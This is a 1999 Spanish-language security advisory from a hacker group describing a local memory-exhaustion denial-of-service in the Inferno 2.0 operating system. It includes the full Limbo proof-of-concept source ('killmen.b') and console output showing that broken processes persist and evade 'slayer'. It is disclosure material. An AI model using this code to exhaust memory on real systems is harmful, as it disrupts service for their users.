- J.J.F. / Hackers Team - Security Advisory =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Fecha: 18/1/1999 Autor: Conde Vampiro URL: http://www.jjf.org Aplicacion: Sistema Operativo: Inferno 2.0 en plataforma Windows. (Posiblemente tambien estan afectadas todas las plataformas que corran Inferno.) Peligrosidad: Un usuario puede producir un DoS (Denegacion de Servicio) en su memoria. -=-=-=-=-=-=-=-= Introduccion -=-=-=-=-=-=-=-= Mediante un programa escrito en Limbo se puede producir una denegacion de servicio (DoS) consumiendo toda la memoria. Incluso los comandos destinados a evitar esto en Inferno son incapaces de quitarlos. -=-=-=-=-=-=-=-= En Detalle -=-=-=-=-=-=-=-= Utilizando el siguiente programa escrito en Limbo, podemos ir ocupando toda la memoria en la plataforma donde estemos corriendo Inferno. ------------ Codigo Fuente --------------------------------------------------- # # FILE: killmen.b # DATE: 11/10/98 # CODER: Conde Vampiro of - J.J.F. / Hackers Team - # ABSTRACT: A DoS (Denial of service) in Limbo for Inferno O.S # # http://www.jjf.org - J.J.F. / Hackers Team - implement killmen; include "sys.m"; sys: Sys; include "draw.m"; i : int; men : con "DoS by Conde Vampiro"; died := array[0] of int; kill := array[0] of int; killmen: module { init: fn(ctxt: ref Draw-> Context, nil: list of string); }; init (ctxt: ref Draw-> Context, nil: list of string) { sys = load Sys Sys->PATH; sys->print("%s\n\n", men); for (i:=0;i<100;i++) { died[i]=kill[i]; } } ------------ FIN ------------------------------------------------------------- Si un usuario ejecuta este programa en la consola del Inferno, se producira el siguiente error: colmillo$ killmen DoS by Conde Vampiro [killmen] Broken: "array bounds error" 17 "killmen":array bounds error colmillo$ Podemos observar que el programa killmen ha producido un error y el shell nos muestra el pid, en este caso 17. Si ejecutamos el comando 'ps', nos mostrara el siguiente resultado: colmillo$ ps 1 1 Conde Vampiro release 1K Sh[$Sys] 6 6 inferno alt 19K Wm 7 6 inferno release 4K Wm[$Sys] 8 6 inferno release 4K Wm[$Sys] 11 10 inferno recv 16K Plumb 12 10 inferno alt 16K Plumb 13 10 inferno alt 16K Plumb 17 1 Conde Vampiro broken 10K killmen 18 1 Conde Vampiro ready 1K Ps[$Sys] colmillo$ El programa killmen sigue estando en memoria, aunque haya producido un error. Si ejecutamos el programa durante un rato, ira consumiendo la memoria, esto se puede hacer facilmente utizando Mash, el shell script de Inferno. Incluso, si el administrador del sistema no ha ejecutado el entorno de ventana de Inferno o no ha linkado el comando 'ps' al directorio /prog, el programa killmen al ejecutarse se queda oculto ya que el 'ps' no mostrara ningun proceso en memoria, pero realmente si que esta ocupando memoria. El comando 'slayer' destinado a destruir los procesos "broken" es incapaz de quitar de la memoria a killmen. Si nos dirigimos al directorio /prog podemos ver todos los procesos en forma de ficheros: colmillo$ cd /prog colmillo$ ls -l dr-xr-xr-x p 0 Conde Vampiro Conde Vampiro 0 Jan 18 17:53 1 dr-xr-xr-x p 0 inferno Conde Vampiro 0 Jan 18 17:53 11 dr-xr-xr-x p 0 inferno Conde Vampiro 0 Jan 18 17:53 12 dr-xr-xr-x p 0 inferno Conde Vampiro 0 Jan 18 17:53 13 dr-xr-xr-x p 0 Conde Vampiro Conde Vampiro 0 Jan 18 17:53 17 dr-xr-xr-x p 0 Conde Vampiro Conde Vampiro 0 Jan 18 17:53 22 dr-xr-xr-x p 0 inferno Conde Vampiro 0 Jan 18 17:53 6 dr-xr-xr-x p 0 inferno Conde Vampiro 0 Jan 18 17:53 7 dr-xr-xr-x p 0 inferno Conde Vampiro 0 Jan 18 17:53 8 colmillo$ Los procesos 17 y 22 son el programa killmen que siguen estando en memoria y cada vez que se ejecute se ira creando un nuevo proceso "broken". -=-=-=-=-=-=-=-= Byes All conde@jjf.org http://www.jjf.org - J.J.F. / Hackers Team - Security Advisory =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=